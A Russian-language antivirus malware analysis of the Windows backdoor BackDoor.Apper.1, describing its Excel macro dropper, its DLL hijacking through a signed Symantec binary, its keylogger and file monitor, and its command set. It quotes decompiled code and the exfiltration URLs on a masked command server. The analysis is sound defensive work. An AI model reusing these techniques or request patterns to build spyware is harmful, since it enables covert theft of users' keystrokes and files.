SHA1: 82107fed063945a5d54563a7263dba2896be04a4 (dropper, xls)
d54de89d0c48e1c4afbe4fe85650b64ec36fecc6 (SFX-RAR)
777f481332e2b034013b9ef1a644e02102f3c71d (rastls.dll)
Троянец-бэкдор для ОС Microsoft Windows, предназначенный для хищения документов и шпионажа. Дроппер троянца представляет собой документ Microsoft Excel, содержащий специальный макрос. Этот макрос собирает по байтам и запускает самораспаковывающийся SFX-RAR архив. Этот архив содержит в себе два файла:
- mpvis.exe - подписан действительной цифровой подписью Symantec (c:\bld_area\SNAC_11.0-MR4\Symantec_Network_Access_Control\Agent\Windows\src\bin.ira\dot1xtray.pdb);
- rastls.dll – библиотека, в которой реализованы функции самого бэкдора.
После их распаковки запускается исполняемый файл, который пытается загрузить в память системную библиотеку rastls.dll, однако вместо этого загружает содержащуюся в той же папке библиотеку с аналогичным именем, представляющую собой бэкдор.
После успешного запуска BackDoor.Apper.1 действует в качестве кейлоггера: информация сохраняется в файл "%TEMP%\\key.dat" в следующем формате:\r\nThe Active Windows Title: %s\r\n
Т. е. сначала сохраняется заголовок окна, затем – сведения о нажатиях клавиш. Файл шифруется при помощи алгоритма XOR с ключом 0x99.
Еще одна функция троянца — мониторинг файловой системы, который осуществляется при наличии конфигурационного файла "%TEMP%\\filecfg_temp.dat". Этот файл содержит пути к директориям, содержимое которых необходимо отслеживать. В качестве разделителя используется символ '|'. Отчет сохраняется в файл "%TEMP%\\fmonitor.dat" следующей функцией:
int __usercall LogDirChanges@<eax>(wchar_t *file_path@<edi>, wchar_t *log_path)
{
FILE *hLog; // esi@1
SYSTEMTIME time; // [esp+4h] [ebp-18h]@1
hLog = _wfopen(log_path, L"ab");
GetSystemTime_0(&time);
fwprintf(
hLog,
L"%s|%d/%d/%d %d:%d:%d\r\n",
file_path,
time.wYear,
time.wMonth,
time.wDay,
time.wHour,
time.wMinute,
time.wSecond);
return fclose(hLog);
}
Для отслеживания изменений в папках используется функция API ReadDirectoryChangesW.
Перед установкой связи с командным сервером бэкдор собирает данные о зараженном компьютере и формирует уникальный идентификатор бэкдора на основе имени компьютера и MAC-адреса. Управляющий сервер используется только один, хотя троянец может работать с двумя, если подключиться к основному по каким-либо причинам не удалось. При обращении к серверу использует User-Agent: "Internet Explorer".
Отправляет GET-запрос на управляющий сервер, после чего анализирует код возврата. Если он равен 401 или 407, троянец пытается извлечь логины и пароли из браузеров, чтобы потом успешно авторизоваться на прокси-сервере.
Сначала бэкдор собирает информацию об инфицированном компьютере:
- имя компьютера;
- имя пользователя;
- версия ОС;
- данные о процессоре;
- данные об объеме оперативной памяти;
- данные о системной папке Windows;
- информация о подключенных накопителях и съемных дисках;
- сведения о свободном дисковом пространстве.
Собранная информация отсылается на управляющий сервер с помощью следующего запроса:
http://***.la/upload.aspx?filepath=info&filename=<bot_id>.jpg
где <bot_id> - идентификатор зараженного компьютера.
Далее троянец собирает более подробную информацию о дисковых накопителях — количество дисков, их тип, тип файловой системы, размер диска, количество свободного места.
Эта информация отправляется другим запросом:
http://***.la/upload.aspx?filepath=filelist/<bot_id>&filename=root.jpg
Затем бэкдор отсылает злоумышленникам журнал кейлоггера:
http://***.la/upload.aspx?filepath=key/<bot_id>&filename=%s
Имя файла журнала формируется на основе текущего времени и даты.
После этого троянец переходит в режим ожидания входящих команд.
Получение задания происходит путем отправки на управляющий сервер GET-запроса:
http://***.la/getorder.aspx?hostname=<bot_id>
Идентификатор команды определяется функцией wcsstr, поэтому за один сеанс связи может прийти несколько команд. Троянец умеет выполнять различные команды:
- cmd_ - выполнить команду с помощью CreateProcessW, ответ высылается на сервер POST-запросами:
http://***.la/upload.aspx?filepath=result&filename=<bot_id>.jpg
- download_ - отправить файл на управляющий сервер. Отправка происходит POST-запросами по 0x7800 байт:
http://***.la/upload.aspx?filepath=downloads&filename=%s&offset=%d
где filename представляет собой строку формата "<bot_id>_<param>_<filesize>.jpg", <param> извлекается из команды сервера; offset - смещение в файле.
- filelist_ - составить список содержимого папки и отправить его на управляющий сервер. Используется запрос следующего вида:
http://***.la/upload.aspx?filepath=filelist/<bot_id>&filename=%s
filename представляет собой строку "<hash>.jpg", где <hash> - это хэш FNV-1 папки, перечень содержимого которой необходимо составить.
- upload_ - скачать файл на инфицированный компьютер. Отправляется GET-запрос:
http://***.la/uploads/<path>
где path – путь, указанный в команде. Имя файла, куда будут сохранены данные, также извлекается из команды сервера.
- delete_ - удалить файл.
- rename_ - переименовать файл.
- newdir_ - создать директорию.
- beforecontinuefile_ - заново подключиться к управляющему серверу.
- continuefile_ - продолжить отправку файла с указанного смещения.
- exit_ - завершить процесс троянца.
- transover_ - завершить текущий поток.
- screen_ - сделать снимок экрана и отправить на сервер. Для отправки скриншота используется следующий запрос:
http://***.la/upload.aspx?filepath=screen/<bot_id>&filename=%s
где filename имеет вид строки "%d%d%d%d%d%d.jpg", сформированной из текущей даты и времени.
- key_ - отправить на сервер журнал Keylogger. Для отправки журнала используется POST-запрос, аналогичный запросу для команды screen_, однако в filepath используется key/<bot_id>.
- disklst_ - сохранить в файл "%TEMP%\\filecfg_temp.dat" конфигурацию для модуля файлового монитора, после чего запустить файловый монитор.
- disklog_ - отправить на сервер журнал файлового монитора. Используемый запрос:
http://***.la/upload.aspx?filepath=disklog/<bot_id>&filename=20131314.jpg